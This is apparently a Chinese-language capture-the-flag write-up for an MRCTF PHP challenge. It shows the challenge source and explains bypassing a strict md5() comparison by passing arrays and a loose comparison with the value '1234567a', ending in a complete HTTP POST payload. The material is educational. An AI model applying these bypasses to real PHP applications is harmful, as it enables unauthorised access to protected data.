打开题目后得到源码，可以使用 PHP 代码在线格式化一下，方便阅读。源码如下。
$flag = 'MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if (isset($_GET['gg']) && isset($_GET['id'])) {
$id = $_GET['id'];
$gg = $_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if (isset($_POST['passwd'])) {
$passwd = $_POST['passwd'];
if (!is_numeric($passwd)) {
if ($passwd == 1234567) {
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
} else {
echo "can you think twice??";
}
} else {
echo 'You can not get it !';
}
} else {
die('only one way to get the flag');
}
} else {
echo "You are not a real hacker!";
}
} else {
die('Please input first');
}
可以看到，第一重是 md5() 函数的真比较，可以传入数组绕过。第二重则是弱相等，直接使变量为 1234567a 即可。Payload 如下。
POST /?id[]=1&gg[]=2 HTTP/1.1
Host: 10ab5c05-bdbc-47c9-8386-fe3b205a5a55.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
passwd=1234567a